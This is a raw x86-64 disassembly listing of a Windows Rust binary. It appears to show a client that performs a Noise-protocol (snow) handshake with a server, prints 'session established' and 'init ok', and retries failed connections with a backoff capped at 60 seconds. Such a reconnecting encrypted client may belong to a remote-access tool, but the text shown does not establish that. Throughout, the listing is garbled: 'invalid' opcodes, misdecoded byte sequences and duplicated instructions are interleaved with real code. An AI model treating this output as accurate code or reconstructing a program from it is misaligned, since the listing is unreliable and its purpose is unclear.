mov edi, dword [rbp + 0xb18]
mov qword [rbp + 0xb08], rdi
mov byte [rbp + 0xb27], dl
mov byte [rbp + 0xb26], dl
call rax
mov qword [rbp + 0xaf0], rax
mov al, 1
mov rcx, qword [rbp + 0x128]
mov rdx, qword [rbp + 0x130]
mov qword [rbp + 0xb08], rdi
mov byte [rbp + 0xb27], al
mov byte [rbp + 0xb26], al
mov r8, qword [rbp + 0xad0]
add byte [rax + 0xb2785], cl
add byte [rax + 0xb2685], cl
add byte [rbx + rcx*4 - 0x7b], cl
ror byte [rdx], 1
add byte [rax], al
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
call fcn.14018a511
dec qword [rbp + 0x950]
mov r15, qword [rax + 8]
mov rax, qword [rax + 0x10]
lea rdi, [r15 + rax*2]
mov rax, qword [rbp + 0xaf0]
add rax, 0x10
adc byte [rax - 0x77], cl
test dword [rax + 9], esp
add byte [rax], al
adc byte [rax - 0x77], cl
test dword [rax + 9], esp
add byte [rax], al
mov rax, r15
cmp r15, rdi
je case.default.0x140158488
lea r15, [rax + 2]
movzx ecx, byte [rax]
lea rdx, [0x14028c930]
lea edx, [0x14028c930]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov r8b, byte [rax + 1]
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rax
mov al, 1
mov byte [rbp + 0xb27], al
mov byte [rbp + 0xb26], al
lea rcx, [rbp + 0x7f0]
lea rdx, [rbp + 0xe0]
call fcn.14018a73d
cmp byte [rbp + 0x7f0], 0
mov al, byte [rbp + 0x7f1]
mov bl, byte [rbp + 0x7f2]
popfq
invalid
invalid
add byte [rax], al
jne 0x140159347
popfq
invalid
lea r8, [rbp + 0x850]
mov rcx, qword [r8 - 0x2f]
lea rdx, [rbp + 0xa38]
mov qword [rdx + 0x18], rcx
movups xmm0, xmmword [r8 - 0x5d]
movups xmm1, xmmword [r8 - 0x4d]
movups xmm2, xmmword [r8 - 0x3d]
movups xmmword [rdx + 0xa], xmm2
movups xmmword [rdx - 6], xmm1
movups xmmword [rdx - 0x16], xmm0
mov byte [rbp + 0xa20], al
mov byte [rbp + 0xa21], bl
mov rcx, qword [rbp + 0x138]
mov rax, qword [rbp + 0x140]
mov rax, qword [rax + 0x20]
mov r12, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], r12
mov bl, 1
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
call rax
mov qword [rbp + 0xb08], r12
mov byte [rbp + 0xb27], bl
popfq
invalid
or eax, dword [rax]
add byte [rax], al
mov byte [rbp + 0xb26], bl
lea rcx, [rbp + 0xa20]
add byte [rax], al
popfq
invalid
add byte [rax], al
mov rdx, rax
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
add al, ch
pop rcx
invalid
add eax, dword [rax]
add byte [rcx - 0x77], cl
ror byte [rcx + rcx*4 - 0x5b], 1
or byte [rbx], cl
add byte [rax], al
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
mov rcx, qword [rbp + 0xab0]
mov rdx, rax
call fcn.14018a847
jmp 0x140158467
add al, ch
pop rcx
invalid
movzx ecx, byte [rax + 1]
cmp rcx, 0xa
lea rdx, [rbp + 0x278]
mov dh, 0x48
add dword [rax - 0x7d], ecx
stc
or cl, byte [rax - 0x73]
xchg ebp, eax
js 0x1401585a5
add byte [rax], al
jae 0x14015962a
imul rax, rcx, 0x21
cmp byte [rdx + rax], 0
je 0x14015934c
add rax, rdx
movups xmm0, xmmword [rax + 1]
add dword [rdi], ecx
adc byte [rax + 0x11], cl
movaps xmmword [rbp + 0x800], xmm1
movaps xmmword [rbp + 0x7f0], xmm0
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rax
mov al, 1
mov byte [rbp + 0xb27], al
mov byte [rbp + 0xb26], al
mov rcx, qword [rbp + 0xab0]
lea rdx, [rbp + 0x7f0]
call fcn.14018a95d
jmp 0x140158467
mov rdx, qword [rbp + 0xaf0]
cmp rsi, rdx
jb 0x14015953a
mov r12, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], r12
mov bl, 1
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
lea rcx, [rbp + 0x3fd]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
call fcn.140189c0b
mov qword [rbp + 0xb08], r12
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, qword [rbp + 0xae0]
mov r9, qword [rbp + 0xaf0]
call fcn.1401c59a4
mov qword [rbp + 0xb08], r12
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
mov rcx, qword [rbp + 0xaf0]
mov rdx, qword [rbp + 0xae0]
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
call fcn.14001ca54
mov qword [rbp + 0xae0], rax
mov rsi, rdx
mov qword [rbp + 0xb08], r12
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
lea rcx, [rbp + 0x3fd]
mov rdx, qword [rbp + 0xaf0]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
add al, ch
in al, 0x15
add eax, dword [rax]
add al, ch
in al, 0x15
add eax, dword [rax]
mov r8, rdx
mov qword [rbp + 0xb08], r12
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
mov rcx, qword [rbp + 0xab0]
mov rdx, rax
call fcn.140189c39
mov rcx, qword [rbp + 0x100]
mov rdx, qword [rbp + 0x108]
call fcn.14018a828
test al, al
je 0x14015876f
mov qword [rbp + 0xb08], r12
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
lea rcx, [rbp + 0x3fd]
std
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg ebp, eax
lock or al, byte [rax]
add byte [rbp + rcx*4 + 5], cl
xchg ebx, eax
adc byte fs:[rax], al
call fcn.140189cc5
mov r8, rdx
mov qword [rbp + 0xb08], r12
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
mov rcx, qword [rbp + 0xab0]
mov rdx, rax
call fcn.14018a847
mov byte [rbp + 0x3fc], 1
jmp 0x140158467
cmp byte [rbp + 0x198], 0
je 0x1401587e7
mov rcx, qword [rbp + 0x960]
cmp rsi, rcx
jb 0x14015953a
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rax
mov al, 1
mov byte [rbp + 0xb27], al
mov byte [rbp + 0xb26], al
mov rdx, qword [rbp + 0xae0]
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
call fcn.14001ca54
mov qword [rbp + 0x978], rax
mov rsi, rdx
mov rax, qword [rbp + 0x960]
mov qword [rbp + 0x970], rax
mov rdx, qword [rbp + 0xaf0]
jmp 0x140158841
mov rcx, qword [rbp + 0xaf0]
cmp rsi, rcx
jb 0x14015953a
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rax
mov al, 1
mov byte [rbp + 0xb27], al
mov byte [rbp + 0xb26], al
mov rdx, qword [rbp + 0xae0]
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
call fcn.14001ca54
mov qword [rbp + 0x978], rax
mov rsi, rdx
mov rdx, qword [rbp + 0xaf0]
mov qword [rbp + 0x970], rdx
mov rbx, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rbx
mov r12b, 1
mov byte [rbp + 0xb27], r12b
mov byte [rbp + 0xb26], r12b
lea rcx, [rbp + 0x3c4]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
call fcn.140189c0b
mov qword [rbp + 0xb08], rbx
mov byte [rbp + 0xb27], r12b
mov byte [rbp + 0xb26], r12b
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x7f0]
mov rdx, qword [rbp + 0xab0]
mov r8, qword [rbp + 0xae0]
mov r9, qword [rbp + 0x970]
call fcn.14018ab15
cmp byte [rbp + 0x7f0], 0
jne 0x140159528
mov byte [rbp + 0x3c3], 1
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0xae0], rax
jmp 0x140158467
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rax
mov al, 1
mov byte [rbp + 0xb27], al
mov byte [rbp + 0xb26], al
mov rax, qword [rbp + 0x7d8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0xad8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x7f0]
mov rdx, qword [rbp + 0xab0]
mov r8, qword [rbp + 0xae0]
mov r9, rsi
call fcn.14018ab15
cmp byte [rbp + 0x7f0], 0
jne 0x140159528
mov rax, qword [rbp + 0xad0]
cmp rax, qword [rbp + 0x950]
mov bl, 1
mov rsi, qword [rbp + 0xb18]
jne 0x14015897e
mov qword [rbp + 0xb08], rsi
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
mov rcx, qword [rbp + 0xab0]
mov rdx, qword [rbp + 0x7e0]
lea r8, [rbp + 0x240]
call fcn.14018a631
inc qword [rbp + 0x270]
mov byte [rbp + 0x436], bl
mov r8, qword [rbp + 0x988]
mov r12, qword [rbp + 0x990]
mov qword [rbp + 0xb08], rsi
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
lea rcx, [rbp + 0x440]
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0xad8], r8
mov r9, r12
call fcn.14018a090
cmp byte [rbp + 0x440], 0
jne 0x140159544
mov r8, qword [rbp + 0x448]
mov rdi, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rdi
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
mov rcx, qword [rbp + 0xad8]
mov rdx, r12
lea r9, str.srcclient.rs
call fcn.14015af46
mov r8, rdx
mov rsi, qword [rbp + 0xac0]
mov qword [rbp + 0xb08], rdi
mov byte [rbp + 0xb27], bl
mov byte [rbp + 0xb26], bl
mov rcx, rsi
mov rdx, rax
call fcn.14015af66
mov rdi, rax
test rax, rax
jne 0x140159579
mov r8d, 0x358
lea rdi, [rbp + 0x440]
mov rcx, rdi
lea rdx, [rbp + 0xe0]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x5d0]
cmp rax, qword [rbp + 0x490]
jne 0x140159583
mov rcx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x4a0]
mov qword [rbp + 0xae0], rcx
mov qword [rbp + 0xaf0], rax
call qword [rax + 0x20]
mov r13, rax
mov rax, qword [rbp + 0x958]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rbp + 0xa50], xmm3
movaps xmmword [rbp + 0xa40], xmm2
movaps xmmword [rbp + 0xa30], xmm1
movaps xmmword [rbp + 0xa20], xmm0
lea rax, [rbp + 0x44a]
movups xmm0, xmmword [rax + 0x2d9]
movups xmm1, xmmword [rax + 0x2e9]
movups xmm2, xmmword [rax + 0x2f9]
movups xmm3, xmmword [rax + 0x302]
movaps xmmword [rbp + 0x9c0], xmm0
movaps xmmword [rbp + 0x9d0], xmm1
movaps xmmword [rbp + 0x9e0], xmm2
movups xmmword [rbp + 0x9e9], xmm3
mov al, byte [rbp + 0x795]
mov byte [rbp + 0xad0], al
mov r15b, byte [rbp + 0x470]
mov rcx, rdi
call fcn.140181f84
mov rcx, qword [rbp + 0x5c0]
mov rdx, qword [rbp + 0x5c8]
call fcn.140038af3
mov rbx, qword [rbp + 0xb18]
mov qword [rbp + 0x930], rbx
mov rcx, qword [rbp + 0x9a8]
call fcn.140169e88
mov qword [rbp + 0x928], rbx
mov rcx, qword [rbp + 0xae0]
mov rdx, qword [rbp + 0xaf0]
call fcn.140038af3
mov qword [rbp + 0xaf0], r12
mov rcx, qword [rbp + 0x4b0]
mov rdx, qword [rbp + 0x4b8]
mov qword [rbp + 0x920], rbx
call fcn.140038af3
mov r12d, r13d
shr r12d, 8
mov rdi, r13
shr rdi, 0x10
lea rcx, [rbp + 0x480]
call fcn.14016a0d4
mov dword [rbp + 0x7f2], edi
shr rdi, 0x20
mov word [rbp + 0x7f6], di
movaps xmm0, xmmword [rbp + 0xa20]
movaps xmm1, xmmword [rbp + 0xa30]
movaps xmm2, xmmword [rbp + 0xa40]
movaps xmm3, xmmword [rbp + 0xa50]
lea rax, [rbp + 0x850]
movups xmmword [rax - 0x28], xmm3
movups xmmword [rax - 0x38], xmm2
movups xmmword [rax - 0x48], xmm1
movups xmmword [rax - 0x58], xmm0
mov byte [rbp + 0x838], r15b
movups xmm0, xmmword [rbp + 0x9e9]
movups xmmword [rax + 0x12], xmm0
movaps xmm0, xmmword [rbp + 0x9c0]
movaps xmm1, xmmword [rbp + 0x9d0]
movaps xmm2, xmmword [rbp + 0x9e0]
movups xmmword [rax + 9], xmm2
movups xmmword [rax - 7], xmm1
movups xmmword [rax - 0x17], xmm0
mov byte [rbp + 0x7f0], r13b
mov byte [rbp + 0x7f1], r12b
mov al, byte [rbp + 0xad0]
mov byte [rbp + 0x872], al
lea rax, str.handshake_successful_session_established..._n
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], 1
mov qword [rbp + 0x450], 8
movups xmmword [rbp + 0x458], xmm6
mov qword [rbp + 0xa10], rbx
mov byte [rbp + 0xb03], 1
lea rdi, [rbp + 0x440]
mov rcx, rdi
call fcn.140198770
mov qword [rbp + 0xa10], rbx
mov byte [rbp + 0xb03], 1
lea rcx, [rbp + 0x9c0]
mov rdx, qword [rbp + 0xa18]
mov r8, qword [rbp + 0x7e8]
call fcn.140004a30
mov rcx, rdi
lea rdx, str.init
push 4
pop r8
call fcn.14003f3ec
lea r12, [rbp - 0x50]
lea r15, [rbp + 0xe0]
mov rax, qword [rbp + 0x9d0]
mov qword [rbp + 0xa30], rax
movups xmm0, xmmword [rbp + 0x9c0]
movaps xmmword [rbp + 0xa20], xmm0
mov rax, qword [rbp + 0x450]
lea rdx, [rbp + 0xa38]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [rbp + 0x440]
movups xmmword [rdx], xmm0
and dword [rbp + 0xa50], 0
mov r13, qword [rbp + 0xb18]
mov qword [rbp + 0xa08], r13
mov byte [rbp + 0xb02], 1
mov rcx, rdi
lea rdx, [rbp + 0xa20]
call fcn.140156586
mov rcx, qword [rbp + 0x440]
movabs rax, 0x8000000000000000
mov qword [rbp + 0xae0], rcx
cmp rcx, rax
je 0x14015982d
mov r8, qword [rbp + 0x448]
mov r9, qword [rbp + 0x450]
mov qword [rbp + 0xa88], r13
mov byte [rbp + 0xb11], 1
mov rax, qword [rbp + 0xaf0]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0xad8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x440]
lea rdx, [rbp + 0x7f0]
mov qword [rbp + 0xad0], r8
call fcn.14018acd5
cmp byte [rbp + 0x440], 0
jne 0x1401597e9
mov r8, qword [rbp + 0x448]
mov qword [rbp + 0xa88], r13
mov byte [rbp + 0xb11], 1
mov rcx, qword [rbp + 0xad8]
mov rdx, qword [rbp + 0xaf0]
lea r9, str.srcclient.rs
call fcn.14015af46
mov r8, rdx
mov qword [rbp + 0xa88], r13
mov byte [rbp + 0xb11], 1
mov rcx, rsi
mov rdx, rax
call fcn.14015af66
mov rbx, rax
test rax, rax
jne 0x1401595d1
lea rax, str.init_ok...._n
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], 1
mov qword [rbp + 0x450], 8
movups xmmword [rbp + 0x458], xmm6
mov qword [rbp + 0xa88], r13
mov byte [rbp + 0xb11], 1
lea rcx, [rbp + 0x440]
call fcn.140198770
mov r8d, 0x88
mov rcx, rdi
lea rdx, [rbp + 0x7f0]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xa88], r13
mov byte [rbp + 0xb11], 0
lea rcx, [rbp + 0xac0]
mov rdx, rdi
lea r8, [rbp + 0x980]
call 0x14015b1d4
mov rdi, rax
test rax, rax
jne 0x1401595d9
mov rcx, qword [rbp + 0xae0]
mov rdx, qword [rbp + 0xad0]
call fcn.14006095a
lea rcx, [rbp + 0xa20]
call fcn.14003f121
xor edi, edi
push 5
pop r13
mov rcx, qword [rbp + 0xa70]
mov rdx, qword [rbp + 0xa78]
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xab8], rax
mov byte [rbp + 0xb17], dil
mov byte [rbp + 0xb16], dil
call fcn.14015b1b7
mov bl, 0x3a
movabs rax, 0x8000000000000000
cmp qword [rbp + 0xa98], rax
jne 0x140158f29
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xa90], rax
mov byte [rbp + 0xb12], dil
mov rcx, r15
call fcn.140169f16
mov rcx, qword [rbp + 0xa68]
mov rdx, qword [rbp + 0xb18]
call fcn.14006095a
mov rcx, qword [rbp + 0x980]
mov rdx, qword [rbp + 0xad8]
jmp 0x140158f37
mov rcx, qword [rbp + 0xa68]
mov rdx, qword [rbp + 0xb18]
call fcn.14006095a
mov rcx, rsi
call qword [sym.imp.ws2_32.dll_closesocket]
jmp 0x140157720
test ebx, ebx
setne r12b
cmovne r9, rdi
cmovne r10, r11
lea r15, [rbp + 0xe0]
cmp r12d, 1
jne 0x140158f6d
mov r8, r10
mov rcx, r9
jmp 0x140158f74
test r12d, r12d
cmove esi, r12d
test rcx, rcx
lea r12, [rbp - 0x50]
je 0x14015906f
cmp byte [r8], 0x5d
jne 0x14015906f
lea r10, [r8 + 1]
mov r9, rcx
xor r11d, r11d
dec r9
je 0x140159001
cmp byte [r10], 0x3a
jne 0x14015902f
add rcx, 0xfffffffffffffffe
add r8, 2
mov rdi, rcx
xor ebx, ebx
test rdi, rdi
je 0x140158fd4
lea rdx, [r8 + 1]
movzx r15d, byte [r8]
add r15d, 0xffffffd0
xor eax, eax
cmp r15d, 0xa
setb al
cmovb r8, rdx
sub rdi, rax
jmp 0x140158fd6
xor eax, eax
cmp eax, 1
jne 0x140159014
mov eax, ebx
mov dx, 0xa
mul dx
jo 0x140159003
add ax, r15w
setb dl
cmp r15d, 0xffff
ja 0x140159003
test dl, dl
jne 0x140159003
inc r11d
mov ebx, eax
jmp 0x140158fb1
jmp 0x14015902f
xor eax, eax
mov qword [rbp + 0xe8], rcx
mov rdi, rcx
mov r11d, eax
jmp 0x140159021
xor eax, eax
test r11d, r11d
setne al
mov r11d, eax
je 0x140159005
cmp r11w, 1
lea r15, [rbp + 0xe0]
je 0x14015903f
mov qword [rbp + 0xe0], r10
mov rdi, r9
test r11w, r11w
je 0x14015906f
mov eax, dword [rbp + 0xa28]
mov rcx, qword [rbp + 0xa20]
mov qword [rbp + 0xaa0], rcx
mov dword [rbp + 0xaa8], eax
test rdi, rdi
je 0x140159315
mov rax, qword [rbp + 0xb18]
mov dword [rbp + 0xae8], eax
mov bl, 0x3a
mov qword [rbp + 0x440], r14
mov qword [rbp + 0x448], 0x13
and qword [rbp + 0x450], 0
mov byte [rbp + 0x468], 1
movabs rax, 0x3a0000003a
mov qword [rbp + 0x460], rax
push 0x13
pop r8
mov cl, 0x3a
mov rdx, r14
call fcn.14002c920
cmp rax, 1
jne 0x1401590d7
mov r8, rdx
cmp rdx, 0x13
jae 0x1401590ca
cmp byte [r8 + r14], bl
je 0x1401591c5
mov qword [rbp + 0x458], r8
cmp r8, 0x13
jbe 0x1401590a7
lea rdi, str.invalid_socket_address
mov qword [rbp - 0x50], rdi
lea rax, str.Failed_to_connect_to_server:
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], 2
and qword [rbp + 0x460], 0
mov qword [rbp + 0xe0], r12
lea rax, [fcn.140193290]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x450], r15
mov qword [rbp + 0x458], 1
lea rcx, [rbp + 0x440]
call fcn.140198770
mov qword [rbp + 0x7f0], r13
lea rax, str.Retrying_in__seconds..._n
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x448], 2
and qword [rbp + 0x460], 0
lea rax, [rbp + 0x7f0]
mov qword [rbp + 0xe0], rax
lea rax, [fcn.140024bb0]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x450], r15
mov qword [rbp + 0x458], 1
lea rcx, [rbp + 0x440]
call fcn.140198770
mov rcx, r13
xor edx, edx
call fcn.14018d010
mov rcx, r13
call fcn.140169ee9
mov r13, rax
mov rcx, r12
call fcn.140137625
cmp r13, 0x3c
push 0x3c
pop rax
cmovae r13, rax
jmp 0x140157720
mov rcx, r8
lea rdi, str.invalid_port_value
sub rcx, 0x12
je 0x1401590de
lea rax, [r8 + 1]
lea r9, [r14 + rax]
neg rcx
cmp r8, 0x11
jne 0x140159210
movzx eax, byte [r9]
lea rdi, str.invalid_port_value
cmp eax, 0x2b
je 0x1401590de
lea rdi, str.invalid_port_value
cmp eax, 0x2d
je 0x1401590de
jmp 0x140159235
cmp byte [r9], 0x2b
jne 0x14015922f
inc r9
push 0x11
pop rcx
sub rcx, r8
cmp r8, 0xc
jbe 0x14015925c
cmp rax, 0x12
jne 0x140159235
xor eax, eax
jmp 0x140159290
cmp r8, 0xd
jbe 0x14015925c
xor edx, edx
xor eax, eax
movzx r10d, byte [r9 + rdx]
add r10d, 0xffffffd0
cmp r10d, 9
ja 0x140159309
imul eax, eax, 0xa
add eax, r10d
inc rdx
cmp rcx, rdx
jne 0x140159239
jmp 0x140159290
xor r10d, r10d
xor eax, eax
mov dx, 0xa
mul dx
jo 0x140159309
movzx edx, byte [r9 + r10]
add edx, 0xffffffd0
cmp edx, 9
ja 0x140159309
add ax, dx
jb 0x140159309
inc r10
cmp rcx, r10
jne 0x140159261
mov qword [rbp + 0x440], r14
mov qword [rbp + 0x448], r8
mov word [rbp + 0x450], ax
mov rcx, r15
lea rdx, [rbp + 0x440]
call fcn.140198ae0
cmp qword [rbp + 0xe0], 0
mov rdi, qword [rbp + 0xe8]
jne 0x1401590de
lea rax, [rbp + 0xea]
movups xmm0, xmmword [rax + 6]
lea rax, [rbp + 0x10]
movups xmmword [rax - 0x58], xmm0
mov qword [rbp - 0x50], rdi
lea rcx, [rbp + 0x7f0]
mov rdx, r12
call case.0x140148ed1.1235
cmp qword [rbp + 0x7f0], 0
jne 0x14015794b
mov rdi, qword [rbp + 0x7f8]
jmp 0x1401590de
lea rdi, str.invalid_port_value
jmp 0x1401590de
mov rdi, qword [rbp + 0xb18]
shl rdi, 8
mov eax, dword [rbp + 0xaa8]
mov dword [rbp + 0xac8], eax
mov rax, qword [rbp + 0xaa0]
mov qword [rbp + 0xac0], rax
mov r15w, 1
xor r12d, r12d
jmp 0x140157893
mov r13d, eax
jmp 0x14015934e
mov bl, 1
lea rdx, [rbp + 0x440]
mov r8d, 0x81
lea rcx, [rbp + 0x198]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rax
mov r14b, 1
mov byte [rbp + 0xb27], r14b
mov byte [rbp + 0xb26], r14b
mov ecx, r13d
mov edx, ebx
call fcn.1401ca885
mov rdi, rax
mov bl, 1
mov sil, 1
mov rcx, qword [rbp + 0xa70]
mov rdx, qword [rbp + 0xa78]
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xab8], rax
mov byte [rbp + 0xb17], r14b
mov byte [rbp + 0xb16], sil
call fcn.14015b1b7
test bl, bl
je 0x1401593ec
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xa90], rax
mov byte [rbp + 0xb12], sil
lea rcx, [rbp + 0xe0]
call fcn.140169f16
mov rcx, qword [rbp + 0xa68]
mov rdx, qword [rbp + 0xb18]
call fcn.14006095a
test sil, sil
jne 0x14015945b
jmp 0x14015946e
mov dl, 3
mov dil, 1
jmp 0x140159433
mov dil, 1
mov byte [rbp + 0xb14], dil
mov byte [rbp + 0xb13], dil
mov rcx, qword [rbp + 0xaf0]
mov rdx, qword [rbp + 0xa98]
call fcn.140038af3
mov dl, 4
mov al, 1
mov byte [rbp + 0xb14], al
mov byte [rbp + 0xb13], al
mov ecx, edi
call fcn.1401ca885
mov rdi, rax
mov byte [rbp + 0xb15], 1
lea rcx, [rbp - 0x50]
call fcn.14016a08f
mov rcx, qword [rbp + 0x980]
mov rdx, qword [rbp + 0x988]
call fcn.14006095a
mov rcx, qword [rbp + 0xac0]
call qword [sym.imp.ws2_32.dll_closesocket]
mov rcx, qword [rbp + 0x9a0]
mov rdx, qword [rbp + 0xa18]
call fcn.14006095a
mov rax, rdi
movaps xmm6, xmmword [rbp + 0xb30]
add rsp, 0xbc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xa90], rax
mov byte [rbp + 0xb12], 1
mov ecx, esi
mov edx, ebx
call fcn.1401ca885
mov rdi, rax
mov sil, 1
jmp 0x1401593ec
mov cl, byte [rbp + 0x441]
mov dl, byte [rbp + 0x442]
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xab8], rax
mov sil, 1
mov byte [rbp + 0xb17], sil
mov byte [rbp + 0xb16], sil
call fcn.1401ca885
mov rdi, rax
jmp 0x1401593cb
mov sil, 1
jmp 0x1401593cb
jmp 0x14015934e
mov bl, 3
jmp 0x14015934e
mov bl, 5
jmp 0x14015934e
mov r13b, byte [rbp + 0x7f1]
mov bl, byte [rbp + 0x7f2]
jmp 0x14015934e
mov bl, 1
mov r13b, 4
jmp 0x14015934e
mov cl, byte [rbp + 0x441]
mov dl, byte [rbp + 0x442]
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rax
mov r14b, 1
mov byte [rbp + 0xb27], r14b
mov byte [rbp + 0xb26], r14b
call fcn.1401ca885
jmp 0x140159390
mov bl, 1
mov r14b, 1
jmp 0x140159395
mov rsi, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rsi
mov byte [rbp + 0xb27], 0
mov byte [rbp + 0xb26], 1
lea rcx, [rbp + 0x440]
call fcn.140189ceb
mov qword [rbp + 0xb08], rsi
mov byte [rbp + 0xb27], 0
mov byte [rbp + 0xb26], 1
mov cl, 3
mov dl, 4
call fcn.1401ca885
mov rdi, rax
mov sil, 1
jmp 0x140159620
mov sil, 1
mov rdi, rbx
jmp 0x1401595db
xor esi, esi
mov rcx, qword [rbp + 0xae0]
mov rdx, qword [rbp + 0xad0]
call fcn.14006095a
lea rcx, [rbp + 0xa20]
call fcn.14003f121
test rbx, rbx
je 0x140159620
lea rcx, [rbp + 0x7f8]
mov qword [rbp + 0xb08], r13
mov byte [rbp + 0xb27], 0
mov byte [rbp + 0xb26], sil
call fcn.140169e88
xor ebx, ebx
xor r14d, r14d
jmp 0x140159398
mov rax, qword [rbp + 0xb18]
mov qword [rbp + 0xb08], rax
mov al, 1
mov byte [rbp + 0xb27], al
mov byte [rbp + 0xb26], al
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_snow_0.9.6_srchandshakestate.rs
push 0xa
pop rdx
call fcn.1401c6eb0
jmp 0x140159860
push 4
pop rcx
push 0x20
pop rdx
call fcn.1401c6700
jmp 0x140159860
mov qword [rbp + 0x948], rdi
jmp 0x1401597ae
xor eax, eax
mov qword [rbp + 0x968], rax
mov rcx, qword [rbp + 0x968]
mov rdx, qword [rbp + 0x948]
call fcn.1401c66e0
jmp 0x140159860
movzx eax, word [rbp + 0x441]
lea r8, [rbp + 0x9c0]
mov word [r8], ax
mov qword [rbp + 0xa88], r13
mov byte [rbp + 0xb11], 1
lea rax, str.srcclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140009390
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x140159860
mov rax, qword [rbp + 0x448]
lea r8, [rbp + 0x9c0]
mov qword [r8], rax
lea rax, str.srcclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140155cec
push 0x2b
pop rdx
call fcn.1401c7200
ud2
lea ebp, [rdx + 0x80]
movaps xmmword [rsp + 0x30], xmm6
mov rcx, qword [rbp + 0xa70]
mov rdx, qword [rbp + 0xa78]
add al, ch
push rbx
pop rbp
lock dec dword [rdi]
sub byte [rsp + 0x30], dh
add al, ch
push rbx
pop rbp
lock dec dword [rdi]
sub byte [rsp + 0x30], dh
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
enter 0xffffffffffff894c, 0xffffffffffffffc2
add rsp, 0x28
ret
sub rsp, 0x30
cmp r8, 0x10000
add byte [rcx], al
add byte [rbx + 0x4e], dh
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
retf
mov eax, esi
rol ax, 8
lea rdx, [rsp + 0x2e]
mov word [rdx], ax
mov r8d, 2
call case.0x140148f55.549
test rax, rax
jne 0x14015afba
mov rcx, rbx
mov rdx, rdi
mov edx, edi
mov r8, rsi
